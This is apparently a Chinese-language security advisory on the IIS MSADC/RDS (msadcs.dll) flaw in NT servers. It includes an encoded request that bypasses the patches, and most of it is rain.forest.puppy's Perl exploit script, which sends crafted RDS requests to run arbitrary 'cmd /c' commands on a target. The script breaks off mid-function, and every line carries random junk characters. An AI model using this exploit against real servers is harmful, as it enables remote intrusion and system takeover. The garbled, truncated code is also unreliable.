IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
#e5*Dr8 Ku<_N]9 涉及程序:
a^MR"i>@G Microsoft NT server
r57rH^Hc Xb5$ijH 描述:
w*qmC<D$A 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
I3D#wXW QP[`*X 详细:
DOGg=`XK1 如果你没有时间读详细内容的话,就删除:
c[E>2P2-_ c:\Program Files\Common Files\System\Msadc\msadcs.dll
MnT+p[. 有关的安全问题就没有了。
/u N3"m5i !|;w(/ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
M$AQZ')9 VkDFR
[k_ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
cwKOE?! 关于利用ODBC远程漏洞的描述,请参看:
-nKBSls -E>se8 %" http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm sAKQ.8$h* }hX"A!0 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
jHWJpm( http://www.microsoft.com/security/bulletins/MS99-025faq.asp lL6qK&; J"O#w BM9 这里不再论述。
C@q&0\HN gKay3}w 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
`@r#o& *S>,5R0k /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
!>L+q@l) 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
(!&g (l; 26\*x 7LdNE|IP #将下面这段保存为txt文件,然后: "perl -x 文件名"
S&m5]h!D #p^r)+\3= #!perl
g+iV0bbT #
R@H}n3, # MSADC/RDS 'usage' (aka exploit) script
)#n>))
#
?G>#'T[ # by rain.forest.puppy
$/uNV1]o #
t?j2Rw3f`I # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
`O/RNMaC # beta test and find errors!
m
K@a7fF? r]vD] use Socket; use Getopt::Std;
w_
po47S4 getopts("e:vd:h:XR", \%args);
m%?b"kxL[ k<3_!?3 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
*>XY' -;2e y:zo/#34 if (!defined $args{h} && !defined $args{R}) {
F ttny] print qq~
4ng*SE_ Usage: msadc.pl -h <host> { -d <delay> -X -v }
I NE,/a= -h <host> = host you want to scan (ip or domain)
,.+"10=N. -d <seconds> = delay between calls, default 1 second
D3emO'`gQ -X = dump Index Server path table, if available
6uH1dsD -v = verbose
7J%v""\1! -e = external dictionary file for step 5
"yCek Q,A`"e#: Or a -R will resume a command session
iAlFgOk' t(:6S$6{e ~; exit;}
N#`aVW'{v2 .iL_3:6f $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
7l})`>
k if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
YMx
zj if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
;Q.g[[J/p if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
7TQh'j $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
S hM}w/4 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
%KmB>9 (u
>:G6K if (!defined $args{R}){ $ret = &has_msadc;
kty,hAXe die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
)>LC*_v g loo].z print "Please type the NT commandline you want to run (cmd /c assumed):\n"
h;KI2k_^ . "cmd /c ";
r4xq%hy $in=<STDIN>; chomp $in;
B&m?3w $command="cmd /c " . $in ;
ka&-tGg N2_ =^s7 if (defined $args{R}) {&load; exit;}
m~Dq0 T EN%Xs578 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
XabrX|B# &try_btcustmr;
b+M[DwPw yf=ek== print "\nStep 2: Trying to make our own DSN...";
9e Dji, &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
<>JDA(F" >gr6H1 print "\nStep 3: Trying known DSNs...";
NwG&uc+Q &known_dsn;
9CWUhS
'ej{B0rE print "\nStep 4: Trying known .mdbs...";
>~$ S! &known_mdb;
.6E7 R '+X9MzU*\ if (defined $args{e}){
3A} ntA! print "\nStep 5: Trying dictionary of DSN names...";
9_ Qm_ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
^tuJM: ANCgch\ print "Sorry Charley...maybe next time?\n";
" I@Z:[=2 exit;
^U_B>0`ch
?#kI9n<O ##############################################################################
\Rp)n=| ,7M9f sub sendraw { # ripped and modded from whisker
1{"fmV sleep($delay); # it's a DoS on the server! At least on mine...
CFZ=!s)B my ($pstr)=@_;
zF]hfP0Q socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
j<+iL]b die("Socket problems\n");
{F
k]X#j if(connect(S,pack "SnA4x8",2,80,$target)){
F,O+axO
ja select(S); $|=1;
;:9 x.IkxC print $pstr; my @in=<S>;
va;d[D,
select(STDOUT); close(S);
d<6L&8)< return @in;
h3p 3~xq } else { die("Can't connect...\n"); }}
"eQ9 6^'J V_}`2.Pg ##############################################################################
oUw-l_ M] z6G^ BaT' sub make_header { # make the HTTP request
}
2)s% my $msadc=<<EOT
D2!ww{t POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
mc(&'U8R0I User-Agent: ACTIVEDATA
YQN=.Wtc Host: $ip
FZA8@J|Q4 Content-Length: $clen
XpH[SRUx Connection: Keep-Alive
BJj~fNm1Zr 3 XfXMVm ADCClientVersion:01.06
h)wR[N]n Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
~:)$~g7>b l}(~q!r --!ADM!ROX!YOUR!WORLD!
V6$v@Zq Content-Type: application/x-varg
^s5.jlZr@ Content-Length: $reqlen
b9y
E K?T)9 EOT
$zmES tcm ; $msadc=~s/\n/\r\n/g;
2z[Pw0#V return $msadc;}
\Y!Z3CK {.,OPR"\ ##############################################################################
XY4s $;;?'!%. sub make_req { # make the RDS request
jQ`"Op 3 my ($switch, $p1, $p2)=@_;
%q*U[vv my $req=""; my $t1, $t2, $query, $dsn;
?$n<